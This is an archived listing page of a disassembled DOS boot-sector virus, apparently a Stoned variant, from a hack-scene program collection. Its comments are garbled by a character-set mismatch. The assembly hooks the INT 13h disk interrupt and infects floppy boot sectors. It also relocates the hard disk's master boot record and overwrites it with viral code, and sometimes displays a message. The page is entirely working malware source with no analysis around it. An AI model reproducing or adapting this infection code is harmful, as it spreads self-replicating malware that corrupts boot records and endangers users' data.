home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
SOURCE.ZIP
/
XPART.ASM
< prev
next >
Wrap
Assembly Source File
|
1980-01-01
|
6KB
|
241 lines
jmp far ptr loc_2 ;*(07C0:0005)
jmp loc_8 ; (00A1)
data_27 db 0
data_28 dd 0F000EC59h
data_29 dd 9F8000E4h
data_30 dd 07C00h
;-----------------------------------------------------------------------------
; é╡«ñ¡á ▓«╖¬á ¡á INT 13h
;-----------------------------------------------------------------------------
push ds
push ax
cmp ah,2 ; Ǭ« ┤│¡¬╢¿┐▓á Ñ »«-¼á½¬á «▓
jb loc_3 ; 2 ¿½¿ »«-ú«½┐¼á ¿½¿ ░áó¡á
cmp ah,4 ; ¡á 4 ¿º»║½¡┐óá ¡á»░░áó« INT 13h
jae loc_3
or dl,dl ; ô▒▓░«¿▒▓ó«▓« Ñ A ?
jnz loc_3
xor ax,ax ; Zero register
mov ds,ax
mov al,byte ptr ds:[43Fh] ; Å░«óÑ░┐óá ñ὿ ¼«▓«░á ¡á
test al,1 ; A Ñ ó¬½╛╖Ñ¡
jnz loc_3 ; Jump if not zero
call sub_1 ; Ä»¿▓ ñá ºá░áº┐óá
loc_3:
pop ax
pop ds
jmp cs:data_28 ; (6B8E:0009=0EC59h)
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_1 proc near
push bx
push cx
push dx ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
push es
push si
push di
mov si,4
loc_4:
mov ax,201h
push cs
pop es
mov bx,200h
xor cx,cx ; Zero register
mov dx,cx
inc cx
pushf
call cs:data_28 ; ùÑ▓Ñ BOOT ▒Ѭ▓«░á
jnc loc_5 ; Jump if carry=0
xor ax,ax ; Å░¿ ú░Ñ╕¬á ░Ѭ὿í░¿░á
pushf ; │▒▓░«¿▒▓ó«▓«
call cs:data_28 ; (6B8E:0009=0EC59h)
dec si
jnz loc_4 ; Å░áó¿ 4 «»¿▓á
jmp short loc_7 ; êº╡«ñ
nop
loc_5:
xor si,si ; Zero register
mov di,200h
cld ; Clear direction
push cs
pop ds
lodsw ; Å░«óÑ░┐óá ñ὿ Ñ ºá░áºÑ¡
cmp ax,[di] ; »░«╖Ñ▓Ñ¡¿┐ ñ¿▒¬
jne loc_6
lodsw
cmp ax,[di+2]
je loc_7 ; Ǭ« Ñ ¿º½¿ºá
loc_6:
mov ax,301h
mov bx,200h ; Å░ѼÑ▒▓óá BOOT
mov cl,3
mov dh,1
pushf
call cs:data_28
jc loc_7 ; Jump if carry Set
mov ax,301h
xor bx,bx ; çỿ▒óá ó¿░│▒á
mov cl,1
xor dx,dx
pushf
call cs:data_28
loc_7:
pop di
pop si
pop es ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
pop dx
pop cx
pop bx
retn
sub_1 endp
loc_8:
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov sp,7C00h
sti ;
mov ax,word ptr ds:[4Ch] ; Å«▒▓áó┐ ó AX óѬ▓«░á ¡á INT 13H
mov word ptr ds:[7C09h],ax ; çá»áºóá ú« ¡á «▓¼Ñ▒▓óá¡Ñ 9h
mov ax,word ptr ds:[4Eh] ; éºÑ¼á ▒Ñú¼Ñ¡▓á ¡á INT 13H
mov word ptr ds:[7C0Bh],ax ; çá»áºóá ú« ¡á «▓¼Ñ▒▓óá¡Ñ Bh
mov ax,word ptr ds:[413h] ; ìá¼á½┐óá ¡á½¿╖¡á▓á »á¼Ñ▓ ▒ 1K
dec ax
dec ax
mov word ptr ds:[413h],ax
mov cl,6
shl ax,cl
mov es,ax ; çá░Ѫñá ó ES ¡á⌐-ó¿▒«¬¿┐ áñ░Ñ▒
mov word ptr ds:[7C0Fh],ax ; ¡á ¬«⌐▓« ▒Ñ »░ѼÑ▒▓óá
mov ax,15h
mov word ptr ds:[4Ch],ax ; INT 13H æÄùê ÄÆîàæÆéÇìà 15H ÄÆ
mov word ptr ds:[4Eh],es ; ìÄùÇïÄÆÄ îô
mov cx,1B8h
push cs ;CS = 7C0h = DS
pop ds
xor si,si
mov di,si
cld
rep movsb ; Å░Ñ▒▓óá 1B8h íá⌐▓á
jmp cs:data_29 ; Å░Ñ╡«ñ ¡á ▒½Ññóá╣á▓á ¿¡▒▓░│¬╢¿┐
mov ax,0
int 13h ; ÉѬ὿í░¿░á ñ¿▒¬á
xor ax,ax ; Zero register
mov es,ax ; ES = AX = 00h
mov ax,201h ; ô▒▓á¡«ó┐óá »á░á¼Ñ▓░¿ ºá
mov bx,7C00h ; ºá░Ѫñá¡Ñ ¡á BOOT
cmp cs:data_27,0 ; Å░«óÑ░┐óá ┤½áú ºá │▒▓░«¿▒▓ó«
je loc_9 ; Å░Ñ╡«ñ »░¿ Flopy disk
mov cx,7
mov dx,80h
int 13h ; çá░Ѫñá BOOT
jmp short loc_12 ; (014E)
nop
loc_9:
mov cx,3
mov dx,100h
int 13h ; çá░Ѫñá BOOT
jc loc_12 ; Jump if carry Set
test byte ptr es:[46Ch],7 ; Å░«óÑ░┐óá ñ὿ ñá ñáñÑ
jnz loc_11 ; ▒║«í╣Ñ¡¿Ñ
mov si,189h ;
push cs
pop ds
loc_10:
lodsb ; Æ║░▒¿ ¬░á┐▓ ¡á ▒▓░¿¡úá
or al,al
jz loc_11 ; Ǭ« ¡Ñ Ñ ¬░á┐ ¿ºóѪñá ▒¿¼ó«½
mov ah,0Eh
mov bh,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_10 ; (011D)
loc_11:
push cs
pop es
mov ax,201h ; Ä»¿▓óá ▒Ñ ñá ╖Ñ▓Ñ «▓ ▓ó║░ñ ñ¿▒¬
mov bx,200h ; ¬á▓« »«¼Ñ▒▓óá »░«╖Ñ▓Ñ¡«▓« «▓
mov cl,1 ; «▓¼Ñ▒▓óá¡Ñ 200h
mov dx,80h
int 13h ; Disk dl=drive #: ah=func a2h
; read sectors to memory es:bx
jc loc_12 ; Ǭ« ú░Ñ╕¬á ? -> êº╡«ñ
push cs
pop ds
mov si,200h
mov di,0
lodsw ; Å░«óÑ░┐óá ñ὿ ▒║ó»áñá ▒ ¡á╖Ὣ▓«
cmp ax,[di] ; ¡á ó¿░│▒á
jne loc_13 ; Ǭ« ¡Ñ »░Ñ╡«ñ ºá ºá░áº┐óá¡Ñ
lodsw
cmp ax,[di+2]
jne loc_13
loc_12:
mov cs:data_27,0 ; (6B8E:0008=0)
jmp cs:data_30 ; 꺻║½¡┐óá BOOT
loc_13:
mov cs:data_27,2 ; Å«▒▓áó┐ │¬áºá▓ѽ ▓ó║░ñ ñ¿▒¬
mov ax,301h
mov bx,200h ; Å░ѼÑ▒▓óá BOOT ó ▒Ѭ▓«░ 7
mov cx,7 ; ▒▓░á¡á 0
mov dx,80h
int 13h
jc loc_12 ; Å░¿ ú░Ñ╕¬á ¿º»║½¡┐óá BOOT
push cs
pop ds
push cs
pop es
mov si,3BEh ; îÑ▒▓¿ partition table
mov di,1BEh
mov cx,242h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
xor bx,bx ; çỿ▒óá ▒Ἷ┐▓ ó¿░│▒
inc cl
int 13h ; Disk dl=drive #: ah=func a3h
; write sectors from mem es:bx
jmp short loc_12 ; Ä▓¿óá ñá ¿º»¿½¡┐óá BOOT
;------------------------------------------------------------------------------------------
; Ä▓ ▓│¬ ¡á▓á▓¬ ▒á ▓Ѭ▒▓«óÑ
;------------------------------------------------------------------------------------------
pop es
pop cx
db 6Fh
jnz $+74h ; Jump if not zero
and [bx+si+43h],dl
and [bx+di+73h],ch
and [bp+6Fh],ch
ja $+22h ; Jump if above
push bx
jz $+71h ; Jump if zero
db 6Eh
db 65h
db 64h
and [bx],ax
or ax,0A0Ah
add [si+45h],cl
inc di
inc cx
dec sp
dec cx
push bx
inc bp
xor al,[bx+di]
add al,32h ; '2'
add word ptr ds:[0B00h][bx+si],ax ; (6B7E:0B00=0)
add ax,132h
db 72 dup (0)